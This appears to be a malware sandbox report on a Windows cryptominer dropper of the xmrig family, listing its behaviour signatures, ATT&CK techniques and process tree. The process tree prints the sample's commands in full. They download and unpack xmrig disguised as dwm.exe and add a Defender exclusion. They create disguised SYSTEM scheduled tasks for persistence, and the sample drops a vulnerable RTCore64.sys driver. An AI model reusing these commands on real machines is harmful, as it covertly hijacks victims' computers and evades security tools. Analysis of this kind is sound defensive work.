Analysis
- max time kernel
149s - max time network
153s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
27/04/2026, 12:17
General
- Target file_c8e4af3ea647650f.exe
- Size 950KB
- Sample260427-pgf4qsax3x
- SHA256 b80016aa911026ba0e71f2818f600b7499eddf87ebfc317c6c9cc7ed53a91c27
Malware Config
Extracted
-
ps1
-
exe.dropper
https://github.com/xmrig/xmrig/releases/download/v6.22.3/xmrig-6.22.3-msvc-win64.zip
Signatures
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 2 IoCs
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Using powershell.exe command.
- Modify Registry: Disable Windows Driver Blocklist 2 TTPs 1 IoCs
Disable Windows Driver Blocklist via Registry.
- Executes dropped EXE 4 IoCs
- Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs
Command interpreters often include specific commands/flags that ignore errors and other hangups.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry class 9 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 28 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 7 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 13 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\file_c8e4af3ea647650f.exe"C:\Users\Admin\AppData\Local\Temp\file_c8e4af3ea647650f.exe"1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Public\Libraries\svchost.exe"C:\Users\Public\Libraries\svchost.exe"3⤵
- Modify Registry: Disable Windows Driver Blocklist
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Windows\Temp\240658937.ps1"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn "\Microsoft\Windows\DiskCleanup\SilentCleanup" /tr "'C:\Users\Public\Libraries\svchost.exe'" /sc onlogon /ru SYSTEM /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.22.3/xmrig-6.22.3-msvc-win64.zip', 'C:\Users\Public\Libraries\msupd32.zip'); Write-Output 'SUCCESS' } catch { Write-Output 'FAILED' }"4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "Expand-Archive -Path 'C:\Users\Public\Libraries\msupd32.zip' -DestinationPath 'C:\Users\Public\Libraries\' -Force; Start-Sleep -Seconds 2; $found = $false; Get-ChildItem 'C:\Users\Public\Libraries\' -Recurse -Filter 'xmrig.exe' -ErrorAction SilentlyContinue | ForEach-Object { if (-not $found) { Move-Item $_.FullName 'C:\Users\Public\Libraries\dwm.exe' -Force; $found = $true; } }; if ($found) { 'FOUND_MOVED' } else { 'NOT_FOUND' }"4⤵
- Hide Artifacts: Ignore Process Interrupts
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\cmd.execmd /c rmdir /s /q "C:\Users\Public\Libraries\xmrig-6.22.3" 2>nul4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /f /ru SYSTEM /rl HIGHEST /sc ONSTART /tn "WindowsRuntimeService" /tr "C:\Users\Public\Libraries\dwm.exe" /delay 0000:30 >nul 2>&14⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /f /ru SYSTEM /rl HIGHEST /sc ONSTART /tn "MicrosoftEdgeUpdateTaskMachineCore" /tr "C:\Users\Public\Libraries\dwm.exe" /delay 0000:30 >nul 2>&14⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Public\Libraries\dwm.exe"C:\Users\Public\Libraries\dwm.exe" --config="C:\Users\Public\Libraries\config.json" --background --donate-level=0 --quiet4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "Start-Process -FilePath 'C:\Users\Public\Libraries\dwm.exe' -ArgumentList '--config=C:\Users\Public\Libraries\config.json --background --donate-level=0 --quiet' -WindowStyle Hidden -NoNewWindow"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "Add-MpPreference -ExclusionPath 'C:\Users\Public\Libraries\' -Force"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Windows\Temp\RTCore64.sysC:\Windows\Temp\RTCore64.sys1⤵
- Executes dropped EXE
-
C:\Users\Public\Libraries\svchost.exe"C:\Users\Public\Libraries\svchost.exe"1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "\Microsoft\Windows\DiskCleanup\SilentCleanup" /tr "'C:\Users\Public\Libraries\svchost.exe'" /sc onlogon /ru SYSTEM /f2⤵
- Scheduled Task/Job: Scheduled Task
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_pcderhhw.cxo.ps1
config.json
dwm.exe
msupd32.zip
svchost.exe
BENCHM~1.CMD
BENCHM~2.CMD
CONFIG~1.JSO
POOL_M~1.CMD
RTM_GH~1.CMD
SHA256~1
SOLO_M~1.CMD
WINRIN~1.SYS
start.cmd
240658937.ps1
RTCore64.sys
debug_log.txt
debug_log.txt
debug_log.txt
debug_log.txt
debug_log.txt
debug_log.txt
debug_log.txt
debug_log.txt
debug_log.txt
debug_log.txt
debug_log.txt
debug_log.txt
debug_log.txt
debug_log.txt
debug_log.txt
debug_log.txt
debug_log.txt
debug_log.txt
debug_log.txt
debug_log.txt
memory/1048-143-0x000001FF70160000-0x000001FF70172000-memory.dmp
memory/1048-168-0x000001FF6F400000-0x000001FF6F40C000-memory.dmp
memory/1048-144-0x000001FF6FE10000-0x000001FF6FE1A000-memory.dmp
memory/1048-169-0x000001FF6FB30000-0x000001FF6FB42000-memory.dmp
memory/1984-121-0x0000023910130000-0x0000023910142000-memory.dmp
memory/1984-120-0x000002390E770000-0x000002390E77C000-memory.dmp
memory/3032-205-0x000002C9073A0000-0x000002C9073B2000-memory.dmp
memory/3032-204-0x000002C905A60000-0x000002C905A6C000-memory.dmp
memory/3332-192-0x000001E6081E0000-0x000001E608200000-memory.dmp
memory/3840-223-0x00000230E6000000-0x00000230E6012000-memory.dmp
memory/3840-222-0x00000230E5EE0000-0x00000230E5EEC000-memory.dmp
memory/4488-47-0x0000022DC5420000-0x0000022DC543C000-memory.dmp
memory/4488-56-0x0000022DC4F90000-0x0000022DC4FA2000-memory.dmp
memory/4488-51-0x0000022DC5440000-0x0000022DC5446000-memory.dmp
memory/4488-50-0x0000022DC5410000-0x0000022DC5418000-memory.dmp
memory/4488-55-0x0000022DACA70000-0x0000022DACA7C000-memory.dmp
memory/4488-49-0x0000022DC5460000-0x0000022DC547A000-memory.dmp
memory/4488-48-0x0000022DC5400000-0x0000022DC540A000-memory.dmp
memory/4488-52-0x0000022DC5450000-0x0000022DC545A000-memory.dmp
memory/4488-46-0x0000022DC53F0000-0x0000022DC53FA000-memory.dmp
memory/4488-45-0x0000022DC5330000-0x0000022DC53E3000-memory.dmp
memory/4488-44-0x0000022DC5310000-0x0000022DC532C000-memory.dmp
memory/4488-36-0x0000022DC5070000-0x0000022DC5092000-memory.dmp
memory/4520-75-0x0000000000010000-0x000000000001A000-memory.dmp